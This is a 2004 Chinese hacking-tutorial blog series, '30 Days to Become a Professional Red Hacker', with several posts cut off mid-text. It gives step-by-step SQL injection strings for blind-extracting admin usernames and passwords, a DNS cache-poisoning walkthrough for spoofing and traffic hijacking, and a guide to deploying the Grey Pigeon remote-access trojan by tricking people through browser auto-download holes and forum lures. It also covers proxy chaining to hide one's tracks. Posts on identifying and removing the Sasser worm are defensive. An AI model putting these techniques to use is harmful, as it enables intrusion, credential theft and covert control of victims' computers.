-
2004-05-20
『第22天』深入SQL注入 - [30天打造专业红客]
前面已经把SQL注入攻击的简单方法履了一遍
今天我们继续就一些问题来好好研究一下
前面我们说可以通过一些返回信息来判断SQL注入,但首先不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的
那么,什么样的测试方法才是比较准确呢?答案如下:
① http://host/showdetail.asp?id=49
② http://host/showdetail.asp?id=49 ;;and 1=1
③ http://host/showdetail.asp?id=49 ;;and 1=2
这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
可以注入的表现:
① 正常显示(这是必然的,不然就是程序有错误了)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,下面我们在来坐分析。
不过我们先来说一个问题:
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://host/showdetail.asp?id=49 ;;and user>0
这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://host/showdetail.asp?id=49 ;;and (select count(*) from sysobjects)>0
http://host/showdetail.asp?id=49 ;;and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://host/showdetail.asp?id=49 是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即 -
2004-05-20
『第21天』继续说sql injection - [30天打造专业红客]
sql injection也就是昨天说的SQL注入(也可以有其他的翻译,反正我喜欢用注入这个词)
昨天只举了个简单的例子,今天咱们来深入讨论这个吧
SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。 这个昨天有提到但不全面今天我特地再说一遍。
SQL injection使得攻击者能够利用 Web 应用程序中某些疏于防范的输入机会动态生成特殊的 SQL 指令语句。举一个常见的例子:
某 Web 网站采用表单来收集访问者的用户名和密码以确认他有足够权限访问某些保密信息,然后该表单被发送到 Web 服务器进行处理。接下来,服务器端的ASP 脚本根据表单提供的信息生成 SQL 指令语句提交到 SQL 服务器,并通过分析 SQL 服务器的返回结果来判断该用户名/密码组合是否有效。
为了实现这样的功能,Web 程序员可能会设计两个页面:一个 HTML 页面 (Login.htm) 用于登录,另一个ASP 页面 (ExecLogin.asp) 用于验证用户权限(即向数据库查询用户名/密码组合是否存在)。具体代码可能象这样:
Login.htm (HTML 页面)
代码:<form action="ExecLogin.asp" method="post"> Username: <input type="text" name="txtUsername">
Password: <input type="password" name="txtPassword">
<input type="submit"> </form>
ExecLogin.asp (ASP 页面)
代码:<% Dim p_strUsername, p_strPassword, objRS, strSQL p_strUsername = Request.form("txtUsername") p_strPassword = Request.form("txtPassword") strSQL = "SELECT * FROM tblUsers " & _ "WHERE Username=’" & p_strUsername & _ "’ and Password=’" & p_strPassword & "’" Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("Username") End If Set objRS = Nothing %>
乍一看,ExecLogin.asp 的代码似乎没有任何安全漏洞,因为用户如果不给出有效的用户名/密码组合就无法登录。然而,这段代码偏偏不安全,而且它正是SQL 指令植入式攻击的理想目标。具体而言,设计者把用户的输入直接用于构建SQL 指令,从而使攻击者能够自行决定即将被执行的 SQL 指令。例如:攻击者可能会在表单的用户名或密码栏中输入包含“ or ”和“=” 等特殊字符。于是,提交给数据库的 SQL 指令就可能是:
代码:SELECT * FROM tblUsers WHERE Username=’’ or ’’=’’ and Password = ’’ or ’’=’’
这样,SQL 服务器将返回 tblUsers 表格中的所有记录,而 ASP 脚本将会因此而误认为攻击者的输入符合 tblUsers 表格中的第一条记录,从而允许攻击者以该用户的名义登入网站。
SQL 指令植入式攻击还有另一种形式,它发生在 ASP 服务器根据 querystring 参数动态生成网页时。这里有一个例子,此 ASP 页面从 URL 中提取出 querystring 参数中的 ID 值,然后根据 ID 值动态生成后继页面:
代码:<% Dim p_lngID, objRS, strSQL p_lngID = Request("ID") strSQL = "SELECT * FROM tblArticles WHERE ID=" & p_lngID Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (Not objRS.EOF) Then Response.Write objRS("ArticleContent") Set objRS = Nothing %>
在一般情况下,此 ASP 脚本能够显示具有特定 ID 值的文章的内容,而 ID 值是由 URL 中的 querystring 参数指定的。例如:当URL为 http://www.example.com/Article.asp?ID=1055 时,ASP 就会根据 ID 为 1055 的文章提供的内容生成页面。
如同前述登录页面的例子一样,此段代码也向SQL 指令植入式攻击敞开了大门。有些用户(比如我们)可能会把 querystring 中的文章 ID 值偷换为“0 or 1=1”等内容(也就是说,把 URL 换成 http://www.example.com/Article.asp?ID=0 or 1=1) 从而诱使 ASP 脚本生成不安全的 SQL 指令如:
代码:SELECT * FROM tblArticles WHERE ID=0 or 1=1
于是,数据库将会返回所有文章的内容。
当然了,本例服务器所受的攻击不一定会引起什么严重后果。可是如果我们变本加厉,比如用同样的手段发送 DELETE 等 SQL 指令。这只需要简单地修改前述 URL 中的 querystring 参数就可以了!例如:任何人都可以通过 “http://www.example.com/Article.asp?ID=1055 ; DELETE FROM tblArticles ” 之类的 URL 来访问 Web 网站。
但程序毕竟是各种各样的,有些可以通过修改URL数据来提交命令或语句,有些则不行,不能打URL的主意,怎么办呢?通过修改<input>标签内的value的值也可以提交我们构造的语句,SQL injection是很灵活的技术,但我们的目的只有一个,就是想 -
2004-05-08
『第20天』SQL注入攻击 - [30天打造专业红客]
在第9天到第11天我们介绍了SQL这个概念,后来因为大家反映没用(其实是很有用的,基础不好怎么晋级呢?)
今天我们就来好好说说利用SQL进行攻击
什么是SQL注入式攻击?
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。常见的SQL注入式攻击过程类如:
⑴ 某个ASP.NET Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码。
⑵ 登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数。下面是ASP.NET应用构造查询的一个例子:
System.Text.StringBuilder query = new System.Text.StringBuilder(
"SELECT * from Users WHERE login = ’")
.Append(txtLogin.Text).Append("’ AND password=’")
.Append(txtPassword.Text).Append("’");
⑶ 攻击者在用户名字和密码输入框中输入"’或’1’=’1"之类的内容。
⑷ 用户输入的内容提交给服务器之后,服务器运行上面的ASP.NET代码构造出查询用户的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的SQL命令变成:SELECT * from Users WHERE login = ’’ or ’1’=’1’ AND password = ’’ or ’1’=’1’。
⑸ 服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比。
⑹ 由于SQL命令实际上已被注入式攻击修改,已经不能真正验证用户身份,所以系统会错误地授权给攻击者。
如果用户的帐户具有管理员或其他比较高级的权限,攻击者就可能对数据库的表执行各种他想要做的操作,包括添加、删除或更新数据,甚至可能直接删除表。
(对于这里有些名词如果你不太了解,请你翻阅以前的教程)
今天我们来说个很简单的用新闻页面的""&request 漏洞做的注入
在地址栏输入:
and 1=1
查看漏洞是否存在,如果存在就正常返回该页,如果没有,则显示错误,继续假设这个站的数据库存在一个admin表
在地址栏:
and 0<>(select count(*) from admin)
返回页正常,假设成立了。
下面来猜猜看一下管理员表里面有几个管理员ID:
and 1<(select count(*) from admin)
页面什么都没有。管理员的数量等于或者小于1个
and 1=(select count(*) from admin)
输入=1没显示错误,说明此站点只有一个管理员。
下面就是要继续猜测admin 里面关于管理员用户名和密码的字段名称。
and 1=(select count(*) from admin where len(username)>0)
猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段,下面给大家几个常用的
user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu
用户名称字段猜解完成之后继续猜解密码字段
and 1=(select count(*) from admin where len(password)>0)
password 字段存在!因为密码字段一般都是这个拉,如果不是就试试pass如果还不是就自己想想吧
我们已经知道了管理员表里面有3个字段 id,user,password。
id 编号
user 用户名
password 密码
下面继续的就是管理员用户名和密码的猜解了。一个一个来,有点麻烦,最好找个猜解机来
先猜出长度!
and 1=(select count(*) from admin where len(user)<10)
user 字段长度小于10
and 1=(select count(*) from admin where len(user)<5)
user 字段长度不小于5
慢慢的来,最后猜出长度等于6,请看下面,返回正常就说明猜解正确
and 1=(select count(*) from admin where len(user)=6)
下面猜密码,
and 1=(select count(*) from admin where len(password)=10)
猜出来密码10位,不要奇怪,现在网管都有防备的,所以密码上20位也不太奇怪了
下面该做的就是把他们拆开来一个一个猜字母
and 1=(select count(*) from admin where left(user,1)=a)
返回正常,第一位字母等于a,千万不要把大写和小写给搞错了哦~~呵呵,如果不a就继续猜其他的字符落,反正猜到返回正常就算OK了
开始猜解帐号的第二位字符。
and 1=(select count(*) from admin where left(user,2)=ad)
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
其实猜出了前几个字母你就自己可以想像了,用到社会工程学了哟~,比如猜到了ad ,你就可以猜了
administrator,or ,admin,or ,adminstra.......这样猜的效率比较高哟!
工作还没有完,别忙着跑了,还有10位密码,呵呵
and 1=(select count(*) from admin where left(password,1)=a)
经过无数次错误之后(首先大家得有个准备SQL注入有时候就是很烦的)
htttp://host/news/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra)
结果密码是administra
就这么简单,我只 -
2004-05-08
『第19天』几个DNS问题和网络攻击与防范 - [30天打造专业红客]
现在的Internet上存在的DNS服务器有绝大多数都是用bind来架设的,使用的bind版本主要为bind 4.9.5+P1以前版本和bind 8.2.2-P5以前版本.这些bind有个共同的特点,就是BIND会缓存(Cache)所有已经查询过的结果,这个问题就引起了下面的几个问题的存在.(什么叫BIND?BIND是一款由ISC维护的Internet域名名字系统实现。)关于BIND有个BIND问题集锦大家有兴趣可以看看:http://www.cngnu.org/technology/2494/281.html
1>.DNS欺骗
在DNS的缓存还没有过期之前,如果在DNS的缓存中已经存在的记录,一旦有客户查询,DNS服务器将会直接返回缓存中的记录.
下面我们来看一个例子:
一台运行着unix的Internet主机,并且提供rlogin服务,它的IP地址为123.45.67.89,它使用的DNS服务器(即/etc/resolv.conf中指向的DNS服务器)的IP地址为98.76.54.32,某个客户端(IP地址为38.222.74.2)试图连接到unix主机的rlogin端口,假设unix主机的/etc/hosts.equiv文件中使用的是dns名称来允许目标主机的访问,那么unix主机会向IP为98.76.54.32的DNS服务器发出一个PTR记录的查询:
123.45.67.89 -> 98.76.54.32 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: 2.74.222.38.in-addr.arpa PTR
IP为98.76.54.32的DNS服务器中没有这个反向查询域的信息,经过一番查询,这个DNS服务器找到38.222.74.2和38.222.74.10为74.222.38.in-addr.arpa.的权威DNS服务器,所以它会向38.222.74.2发出PTR查询:
98.76.54.32 -> 38.222.74.2 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: 2.74.222.38.in-addr.arpa PTR
请注意,38.222.74.2是我们的客户端IP,也就是说这台机子是完全掌握在我们手中的.我们可以更改它的DNS记录,让它返回我们所需要的结果:
38.222.74.2 -> 98.76.54.32 [Answer]
NQY: 1 NAN: 2 NNS: 2 NAD: 2
QY: 2.74.222.38.in-addr.arpa PTR
AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
AN: trusted.host.com A 38.222.74.2
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
AD: ns.sventech.com A 38.222.74.2
AD: ns1.sventech.com A 38.222.74.10
当98.76.54.32的DNS服务器收到这个应答后,会把结果转发给123.45.67.98,就是那台有rlogin服务的unix主机(也是我们的目标 :) ),并且98.76.54.32这台DNS服务器会把这次的查询结果缓存起来.
这时unix主机就认为IP地址为38.222.74.2的主机名为trusted.host.com,然后unix主机查询本地的/etc/hosts.equiv文件,看这台主机是否被允许使用rlogin服务,很显然,我们的欺骗达到了.
在unix的环境中,有另外一种技术来防止这种欺骗的发生,就是查询PTR记录后,也查询PTR返回的主机名的A记录,然后比较两个IP地址是否相同:
123.45.67.89 -> 98.76.54.32 [Query]
NQY: 1 NAN: 0 NNS: 0 NAD: 0
QY: trusted.host.com A
很不幸,在98.76.54.32的DNS服务器不会去查询这个记录,而会直接返回在查询2.74.222.38.in-addr.arpa时得到的并且存在缓存中的信息:
98.76.54.32 -> 123.45.67.89 [Query]
NQY: 1 NAN: 1 NNS: 2 NAD: 2
QY: trusted.host.com A
AN: trusted.host.com A 38.222.74.2
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
AD: ns.sventech.com A 38.222.74.2
AD: ns1.sventech.com A 38.222.74.10
那么现在unix主机就认为38.222.74.2就是真正的trusted.host.com了,我们的目的达到了!
这种IP欺骗的条件是:你必须有一台Internet上的授权的DNS服务器,并且你能控制这台服务器,至少要能修改这台服务器的DNS记录,我们的欺骗才能进行.
2>.拒绝服务攻击 Denial of service
还是上面的例子,如果我们更改位于38.222.74.2的记录,然后对位于98.76.54.32的DNS服务器发出2.74.222.38.in-addr.arpa的查询,并使得查询结果如下:
因为74.222.38.in-addr.arpa完全由我们控制,所以我们能很方便的修改这些信息来实现我们的目的.
38.222.74.2 -> 98.76.54.32 [Answer]
NQY: 1 NAN: 2 NNS: 2 NAD: 2
QY: 2.74.222.38.in-addr.arpa PTR
AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
AN:www.company.com A 0.0.0.1
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
AD: ns.sventech.com A 38.222.74.2
AD: ns1.sventech.com A 38.222.74.10
这样一来,使用98.76.54.32这台DNS服务器的用户就不能访www.company.com了,因为这个IP根本就不存在!
3>.偷取服务 Theft of services
还是上面的例子,只是更改的查询结果如下:
38.222.74.2 -> 98.76.54.32 [Answer]
NQY: 1 NAN: 3 NNS: 2 NAD: 2
QY: 2.74.222.38.in-addr.arpa PTR
AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
AN:www.company.com CNAMEwww.competitor.com
AN: company.com MX 0 mail.competitor.com
NS: 74.222.38.in-addr.arpa NS ns.sventech.com
NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
AD: ns.svent -
2004-05-08
『第18天』灰鸽子挺进版全攻略和2003版使用心得 - [30天打造专业红客]
灰鸽子(纪念版)不会使用的人还很多,(什么你不知道什么叫灰鸽子?那你知道什么叫冰河或是什么男生什么女生呢?) 灰鸽子还有自己的网站http://main.huigezi.com/main.asp
,今天我们只是简单的说一下它的使用,如果在使用中遇到任何问题除了可以在这里问以外还可以到http://main.huigezi.com/main.asp去看看,一般都没问题的。
挺进版加上了穿过局域网控制内部机器的
功能,又是第一个使用域名来储存客户端IP地址的,灰鸽子(挺进版)文件:
P_Client.exe (客户端文件)
Server.exe (服务端文件,如果你想控制对方就可以配置一下,让对方运行,你就可以用客户端控制他了!)
程序界面(P_Client.exe):
此主题相关图片如下:
看了上面界面的注示,是不是有了一个底!那好我们就来一次“自动上线”式的控制吧!
注册域名:
在配置服务器程序之前,如果你没有域名可用的话,请随我来注册一个免费的域名吧!
1.点击工具栏上的第三个按扭!在程序界面里的图片上注明了注册域名、更新IP到域名、主机搜索的那个按扭!
此主题相关图片如下:
按了按钮后你会看见上面的界面了,看到了“注册域名”了吧!
点击“注册域名”选项卡!你会看见下面的界面!
此主题相关图片如下:
好的,现在我们就来注册一个域名吧!可以点击“.126.com”来改变申请域名的后缀,这里不我们不点击,保持不变!
现在我们填好域名、密码、E-Mail,就可以按注册域名按扭了!(在这里请确保你已经上网了!)按完成请注意注册结果框里
的提示信息!如果成功的话,大家往下看,注册失败请换个域名试试!
配置服务端程序:
好的,现在大家有了域名了,可以配置服务端程序了!大家在程序界面里看到了配置服务端程序的按扭了吧!就是工具
栏上的第七个按扭!点它就会出现下面的界面!
此主题相关图片如下:
好的,我们点“下一步”继续
此主题相关图片如下:
按上图所说的做吧,好的,我们已经完成了最关键的一步了!
为了节省时间,大家可以一直按“下一步”按扭
好的,我们配置服务器的工作就完成了!
现在我们要的就是把我们配置的“Server.exe”,让
对方运行了(比如说在网吧运行一下)
安装传播已经配置的服务端程序:
好的,我们现在已经把我们刚配置的服务器端程序发给了一个在网吧上网的朋友!现在就看一个怎么控制吧!
等待自动上线:
如果网友已经打开了我们发过去的服务端!应该在一分钟之内自动上线!如果“文件管理器”中多出了绿屏的主机,就是自动上线的主机了!我们选中“文件管理器”中自动上线的主机进行连接!如果不出错的话应可以看到它的驱动器列表了!
哈哈,你不仅可以管理文件,还可以进行其它控制
这就是这个软件的简单应用 很简单吧
再说说灰鸽子2003的一些使用心得吧
2003的界面类似XP,内容方面和这个挺进版差不多,最大的改动就是搜索主机的IPC弱口令探测这个东西去掉了,速度没什么改进,但比辐射版要快不少。
至于使用感受:首先用灰鸽子自己本身得搜索功能还真得难找到一个好的机子,搜索速度太慢了,这时候我们可以用SUPERSCAN这种专业的扫描软件,添好默认的端口,能大大提高效率。还有就是关键在于怎么骗取别人运行自己的服务端。最快的就是先把自己的服务端加载在网页中利用IE的自动下载运行漏洞,反正不会用很对人去升级计算机系统漏洞的。再到各大的论坛说自己有免费的QQ或电影看,贪小便宜的人肯定很多的。
申明:我网站和论坛的页面绝不含任何这种东西或是木马,请大家放心。
-
2004-05-08
好久没更新了,大家5.1过得还好吧! - [30天打造专业红客]
忙着和女朋友玩,没怎么上网,中间就关注了一下震荡波,算是做了个小专题,在个人BLOG上转了一些好文章.接下来我会提高更新速度,欢迎大家多来逛逛哦! -
2004-05-02
如果你的电脑在5.1期间无故倒记时关机,而又不知道原因,请进 - [30天打造专业红客]
本专集特开辟--“震荡波(Worm.Sasser)”专题
病毒中文名:震荡波
病毒英文名:Worm.Sasser
病毒大小:15,872字节
病毒类型:蠕虫病毒
病毒危险等级:★★★★★
病毒传播途径:网络
病毒依赖系统:Windows NT/2000/XP -
2004-05-02
“震荡波”病毒破坏方式 - [30天打造专业红客]
在本地开辟后门。监听TCP 5554端口,做为FTP服务器等待远程控制命令。病毒以FTP的形式提供文件传送。黑客可以通过这个端口偷窃用户机器的文件和其他信息。 病毒开辟128个扫描线程。以本地IP地址为基础,取随机IP地址,疯狂的试探连接445端口,试图利用windows的LSASS 中存在一个缓冲区溢出漏洞进行攻击,一旦攻击成功会导致对方机器感染此病毒并进行下一轮的传播,攻击失败也会造成对方机器的缓冲区溢出,导致对方机器程序非法操作,以及系统异常等。
-
2004-05-02
如何完全清除震荡波(Worm.Sasser)病毒 - [30天打造专业红客]
5月1日,“震荡波(Worm.Sasser)”病毒在网络出现,由于该病毒是通过漏洞进行传播的,因此这几日用户如果上网极有可能会感染该病毒,然后出现系统反复重启、机器运行缓慢,出现系统异常的出错框等现象,如果用户出现了上述现象,则需要对该病毒进行清除。
一、手工清除四部曲。
1、断网打补丁。
如果不给系统打上相应的漏洞补丁,则连网后依然会遭受到该病毒的攻击,用户应该先到以下地址http://www.microsoft.com/china/technet/security/bulletin/ms04-011.mspx下载相应的漏洞补丁程序,然后断开网络,运行补丁程序,当补丁安装完成后再上网。
2、清除内存中的病毒进程
要想彻底清除该病毒,应该先清除内存中的病毒进程,用户可以按CTRL+SHIFT+ESC三或者右键单击任务栏,在弹出菜单中选择“任务管理器”打开任务管理器界面,然后在内存中查找名为“avserve.exe”的进程,找到后直接将它结束。
3、删除病毒文件
病毒感染系统时会在系统安装目录(默认为C:\WINNT)下产生一个名为avserve.exe的病毒文件,并在系统目录下(默认为C:\WINNT\System32)生成一些名为<随机字符串>_UP.exe的病毒文件,用户可以查找这些文件,找到后删除,如果系统提示删除文件失败,则用户需要到安全模式下或DOS系统下删除这些文件。
4、删除注册表键值
该病毒会在电脑注册表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run项中建立名为“avserve.exe”,内容为:“%WINDOWS%\avserve.exe”的病毒键值,为了防止病毒下次系统启动时自动运行,用户应该将该键值删除,方法是在“运行”菜单中键入“REGEDIT” 然后调出注册表编辑器,找到该病毒键值,然后直接删除。
二、自动清除三部曲
1、使用瑞星杀毒软件进行清除
用户可以将瑞星杀毒软件标准版或下载版产品升级到16.24.42版本,并进行系统盘和内存的杀毒。
2、使用瑞星在线杀毒进行清除
用户还可以使用瑞星免费的在线杀毒产品(http://online.rising.com.cn/)查找系统中是否存在病毒,然后用在线杀毒进行清除。
3、使用瑞星免费专杀工具进行清除
用户还可以到http://it.rising.com.cn/service/technology/RS_sasser.htm网址下载免费的“震荡波病毒专杀工具”然后对电脑进行病毒扫描。
-
2004-05-02
如何快速识别震荡波(Worm.Sasser)病毒 - [30天打造专业红客]
5月1日惊现互联网的“震荡波 (Worm.Sasser)”病毒来势汹汹,该病毒是通过微软的最新高危漏洞 —LSASS 漏洞(微软MS04-011 公告)进行传播的,危害性极大,目前 WINDOWS 2000/XP/Server 2003 等操作系统的用户都存在该漏洞,这些操作系统的用户只要一上网,就有可能受到该病毒的攻击。下面就教用户如何快速识别“震荡波(Worm.Sasser)”病毒。
如果用户的电脑中出现下列现象之一,则表明已经中毒,就应该立刻采取措施清除该病毒。
一、出现系统错误对话框
被攻击的用户,如果病毒攻击失败,则用户的电脑会出现 LSA Shell 服务异常框,接着出现一分钟后重启计算机的“系统关机”框。
二、系统日志中出现相应记录
如果用户无法确定自己的电脑是否出现过上述的异常框或系统重启提示,还可以通过查看系统日志的办法确定是否中毒。方法是,运行事件查看器程序,查看其中系统日志,如果出现如下图所示的日志记录,则证明已经中毒。
三、系统资源被大量占用
病毒如果攻击成功,则会占用大量系统资源,使CPU占用率达到100%,出现电脑运行异常缓慢的现象。
四、内存中出现名为 avserve 的进程
病毒如果攻击成功,会在内存中产生名为 avserve.exe 的进程,用户可以用Ctrl+Shift+Esc 的方式调用“任务管理器”,然后查看是内存里是否存在上述病毒进程。
五、系统目录中出现名为 avserve.exe 的病毒文件
病毒如果攻击成功,会在系统安装目录(默认为 C:\WINNT )下产生一个名为avserve.exe 的病毒文件。
六、注册表中出现病毒键值
病毒如果攻击成功,会在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 项中建立病毒键值: "avserve.exe "="%WINDOWS%\avserve.exe " 。 -
2004-05-02
“震荡波”与“冲击波”病毒横向对比 - [30天打造专业红客]
背景介绍:
冲击波(Worm.Blaster)病毒2003年8月12日全球爆发,该病毒由于是利用系统漏洞进行传播,因此,没有打补丁的电脑用户都会感染该病毒,从而使电脑出现系统重启、无法正常上网等现象。
2004年5月1日,“震荡波(Worm.Sasser)”病毒在网络出现,该病毒也是通过系统漏洞进行传播的,感染了病毒的电脑会出现系统反复重启、机器运行缓慢,出现系统异常的出错框等现象。
两大恶性病毒的四大区别:
一、利用的漏洞不同
冲击波(Worm.Blaster)病毒利用的是系统的RPC DCOM漏洞,病毒攻击系统时会使RPC服务崩溃,该服务是Windows操作系统使用的一种远程过程调用协议。震荡波(Worm.Sasser)病毒利用的是系统的LSASS服务,该服务是操作系统的使用的本地安全认证子系统服务。
二、产生的文件不同
冲击波(Worm.Blaster)病毒运行时会在内存中产生名为msblast.exe的进程,在系统目录中产生名为msblast.exe的病毒文件,震荡波(Worm.Sasser)病毒运行时会在内存中产生名为avserve.exe的进程,在系统目录中产生名为avserve.exe的病毒文件。
三、 利用的端口不同
冲击波(Worm.Blaster)病毒会监听端口69,模拟出一个TFTP服务器,并启动一个攻击传播线程,不断地随机生成攻击地址,尝试用有RPC漏洞的135端口进行传播。震荡波(Worm.Sasser)病毒会本地开辟后门,听TCP的5554端口,然后做为FTP服务器等待远程控制命令,并疯狂地试探连接445端口。
四、 攻击目标不同
冲击波(Worm.Blaster)病毒攻击所有存在有RPC漏洞的电脑和微软升级网站,而震荡波(Worm.Sasser)病毒攻击的是所有存在有LSASS漏洞的电脑,但目前还未发现有攻击其它网站的现象。
-
2004-05-02
震荡波(Worm.Sasser)病毒第一次亲密接触 - [30天打造专业红客]
昨天上网郁闷了,谁当服务器拨号谁就中病毒,1分钟倒记时,而且服务器不能通过IE打开网页,但是可以通过其他方式,比如TT.最开始以为是冲击波,可记得我早就打了补丁啊,而且装了SP4.装了最新病毒库的无法杀毒,在进程里发现一个陌生的IE,占了大量的资源,avserve,怀疑一切与他有关,关掉之后,可以通过IE打开网页了.认为是什么木马后门,通过我的机器在向外发信息攻击,占了本机大量资源.
实在没办法,逼者要上网把最后的网页改好,明天好去见老婆,只好装了个SKYNET,把安全模式设置成高,对端口进行监控并且禁止信息发送和接受.发现大量的陌生IP连接本机的某些端口,差点以为自己成了肉鸡.今天在落伍上看见有人骂西安电信,见有人提到了震荡波和瑞星,上去一看,终于明白了. -
2004-04-28
[第17天]跳板的故事 - [30天打造专业红客]
跳板,这里的不是指跳水的扳子(废话),我想大家多跳板都应该有个基本的认识:就是通过这个东西跳过什么东西,掩盖什么东西。给大家个图大家就明白跳板是什么了
此主题相关图片如下:
知道了吧,就是隐藏你的足迹,想要找出你,就必须连接x个你所通过的机器,并且找出他们的log,如果碰巧有一个没有记录,线就断了:),即使都记录了,log里面登记的IP也是上一级跳板主机的IP…
当然跳板还可以用于:
.QQ或者ICQ
. ftp客户端
. mail客户端
. telnet客户端
. 端口扫描器
. (以及几乎所有在网络中所使用的工具)
想想如果不要跳板我们不是很危险吗?
这可能不适用于某些IRC服务器,因为它们常常查看打开着的wingates及proxies。
先说简单的windows下的sock代理怎么做
一.找一些运行wingate的主机
原因:因为wingates的默认安装打开端口1080并且不记录socks连接。
怎么找这些机子呢?你可以用‘代理猎手’,好象中国人都用这个,国外人好象喜欢用wingatescan,或是从这里可以找到最新的:http://www.cyberarmy.com/lists/wingate(国外的,我建议大家用国外的,因为追查有难度啊)
二.确认列表中的主机的确运行着wingate
三.安装一个能截取发送的信息包的软件
我使用的是一个叫purpose的工具,你可以从
http://www.buffy.nu/article.php3?id_article=3043
要设置它,只要在socks server填上: 127.0.0.1 port 8000.
选择’socks version 5’.再点击’resolve all names remotely’.
不要选’supported authentication’。
在主界面,选择new然后建立一个你希望socks支持的程序的快捷方式
对所有你想匿名的程序做同样的工作,至于有哪些你就自己想了
四.安装socks chainer
从http://www.ufasoft.com/socks下载该工具
在service菜单, 点击new。在name段输入Chain,port则输入8000。
点击new 并且将你找到最快的wingates的IP填进去,端口则填1080。
